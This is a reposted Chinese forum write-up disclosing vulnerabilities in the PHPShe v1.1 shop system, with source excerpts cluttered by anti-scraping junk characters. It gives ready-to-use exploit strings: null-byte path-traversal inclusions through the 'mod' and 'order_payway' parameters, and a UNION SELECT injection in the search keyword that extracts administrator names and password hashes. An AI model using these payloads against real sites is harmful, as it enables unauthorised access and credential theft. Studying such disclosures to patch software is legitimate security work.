找回密码
 立即注册
查看: 2870|回复: 0
打印 上一主题 下一主题

phpshe v1.1多处SQL注入和文件包含漏洞Getshell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-16 16:45:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
/*******************************************************/
$ j- a: ~1 L0 V& N+ ~0 ^/* Phpshe v1.1 Vulnerability
( L7 R+ u' ?4 _8 X4 G* o* J/* ========================1 d+ A, O* e( r6 N( H
/* By: : Kn1f3! o6 d* V( X6 q6 H9 k  @
/* E-Mail : 681796@qq.com
( w# I2 l1 [4 y4 r/*******************************************************/
4 Y$ Q1 g5 K; ^  _0×00 整体大概参数传输
0 {+ D) a& a5 R- `$ c/ L5 v
1 ~5 R$ _: w. d2 S
0 g+ j4 Q5 f* w% `& A, ?0 \+ @
: F" L5 h2 U; R% b8 x& E! Q
//common.php
6 I3 c/ F" B! t6 l  _) b9 Dif (get_magic_quotes_gpc()) {! w" Y/ G: R5 z+ U/ N
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
4 P  n8 ]' G+ ?: n5 G!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');# `/ P9 @# n  r& b! ^8 D6 P* S
}" P9 P3 x3 G4 D- C% `: p: M8 N
else {
9 l7 z9 ~/ a( O1 t!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');! r/ N& _0 ?3 \$ t/ k" K! j
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
' p/ {! e& p2 g0 K2 D3 s, b8 l}
" Y+ U" h/ S5 [session_start();
3 c& ^: |. W# ^4 o" F! D6 @!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
2 c  f& W. Q9 S5 s# b!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');
3 a$ b+ U9 h$ v8 `
, x: h& n8 F4 k( P7 s# }1 ~& J0×01 包含漏洞
. F' `+ ]7 r% y" b' c7 v $ K0 O, M9 g  ]8 C4 p

9 k* g& u+ P- D- e+ r5 M8 g//首页文件! J, d$ W5 _! s! |/ C: s2 T9 E
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% P! T6 i! q! \) c8 Ainclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
. e7 N5 ?: X5 o% Z: b! p9 h1 _pe_result();. \5 C5 y# K; q
?>; j% X3 Q5 Q0 x1 Y; x! `$ Z& E2 |
//common 文件 第15行开始
3 X1 V4 @' p  G% U! L% ?9 }url路由配置* b" v2 E8 G4 K: r1 \1 M! e
$module = $mod = $act = 'index';) W5 A7 }! {: b% ?5 x0 `- ]6 [. V
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
( S2 u% e( d" R! b5 }1 e$ \$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
3 K. Q- w, v5 G) c/ A* w$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);, p( K7 B5 H7 s" b3 G8 {9 L
//exp:http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
2 S0 m; u- r( s" ~


8 O; c4 Z0 G+ t+ [" |& a3 j* g
+ @1 U1 C1 A8 F9 M! Q# ^8 I6 O 0×02 搜索注入! w6 A$ ?5 U0 v! ]6 a# ?8 X. u6 b

9 d( E  @; M- @<code id="code2">

//product.php文件
, Y6 O6 k3 {/ I3 L" Rcase 'list':7 a0 X5 u+ b- W: H/ t- s! x2 c
$category_id = intval($id);
- E+ d' k9 w9 X; h% s4 Y$info = $db->pe_select('category', array('category_id'=>$category_id));: Z0 g- ~! r( X0 \1 Z+ u
//搜索3 j: V) }! E6 J$ M% ]
$sqlwhere = " and `product_state` = 1";. [5 Q/ [3 l: O6 S) q  O- K
pe_lead('hook/category.hook.php');
- `$ [- l) j+ C2 R5 L1 uif ($category_id) {1 C% f) Q; n0 R% T5 k: g  S: z6 T
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
3 j; U7 l$ l* }% A  O! P' @. A}' n4 m4 z# M2 N8 y
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
+ _" M  K& D$ }( `6 L, {: Aif ($_g_orderby) {, {$ f  M0 o8 ^2 b' p7 r3 u, |7 M
$orderby = explode('_', $_g_orderby);
1 h! Z1 {) M. J; @, p$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
/ T+ M" V; C7 ~6 g9 ?' P+ D; o2 A( ]5 T}
/ ?  |6 [6 y  |1 U% |! Lelse {
: m  E% d; }! @6 h$sqlwhere .= " order by `product_id` desc";
0 I! |4 W2 O1 d; t}
4 x9 x1 p- ~# Z% t' f6 R- Q$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
, F; S# ?1 S3 b8 Z; O6 _//热卖排行: d; @8 @! j. s9 K
$product_hotlist = product_hotlist();7 x1 u3 v) O  u. i' W
//当前路径
! ]6 t. w# Z% Y; [( G2 w9 l( o* n0 f$nowpath = category_path($category_id);
6 P3 q4 `  Q, k* Z0 Y. ?, w$seo = pe_seo($info['category_name']);4 y6 a# {$ D! u6 Y! f2 _
include(pe_tpl('product_list.html'));! f7 U1 `0 L% v3 p6 s( N
//跟进selectall函数库( U2 j& K( [$ W- ]
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())6 O$ F9 ^5 ~$ H  S+ T. e
{
/ A4 P2 l2 K6 N0 w0 w3 {//处理条件语句
# _# i! ]! l  W$sqlwhere = $this->_dowhere($where);
: p! |( g9 S' g3 F( r; U* Ireturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);  ^- F: V  S' @0 u
}9 N) k0 U% d/ U9 z) l, a
//exp
7 N* r" @. v) Z3 V0 b" oproduct/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
5 ~" d" ^, r; G: j, p7 F4 {  R5 r( |

</code>
0 {! d; C  A2 ]4 g! [9 S
. n& p: x( a+ a1 U8 v& {0×03 包含漏洞2
/ c/ Y  b0 z6 ]! J& N7 r; K3 `7 S % R$ q3 a" u% \% I/ b1 P/ @) ]
<code id="code3">

//order.php

case 'pay':

4 n5 |2 V1 r, i( W/ v
$order_id = pe_dbhold($_g_id);


+ ]/ w% W7 g: M* K5 C" }2 a$cache_payway = cache::get('payway');


' G5 O" H: i. t4 J' `! l7 O% _0 pforeach($cache_payway as $k => $v) {

1 {4 s( O" ]9 ~: U- T0 ]
$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

3 I# p; ]6 ~- t. P$ l* g) y( p
if ($k == 'bank') {

+ F0 C% m* t6 I7 `  O" y( M
$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

1 Q' G! A$ r* B4 U
}

& i# N6 \* x% [. f0 }( a8 h
}

6 Y* M% Q0 l, V8 d- x; }
$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));


6 }* G- Q6 A/ r( a- X( B!$order['order_id'] && pe_error('订单号错误...');

$ t: a& G6 ^! ~8 Y& O
if (isset($_p_pesubmit)) {

' ]$ N, O: U" n! R$ I# ^) h1 b- M( j  Q
if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {


, q+ L# p; ]1 P* N/ V' P  K$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));


* @/ D* u; P& x& H8 j  b( Vforeach ($info_list as $v) {


/ b3 M* @! f- `2 p; F# ~$order['order_name'] .= "{$v['product_name']};";5 V' ^6 [. h1 ~6 S. B7 Q& s! p

- {( A6 k* }# O! r
}


& |# i3 v& H- ~1 S0 gecho '正在为您连接支付网站,请稍后...';


. f$ k- d4 q5 ]$ a2 jinclude("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");


" R; y& L8 i$ P$ t}//当一切准备好的时候就可以进行"鸡肋包含了"


% R+ a) [# Y, W/ Gelse {

- P/ `/ y- Z7 L/ X3 i5 A' m
pe_error('支付错误...');


" }3 O0 n  A  P. h6 t}


9 x" v) O9 C; ]0 D) S}

+ t, \: x! q/ _. F0 S, o
$seo = pe_seo('选择支付方式');


( a/ b& W( [+ }( F5 ?- ?+ `+ Zinclude(pe_tpl('order_pay.html'));


" }# B" h. t- P% y& ?1 Pbreak;

}

//exp:

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>/ e2 B# W  Q1 i2 a/ ]2 g8 _
http://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表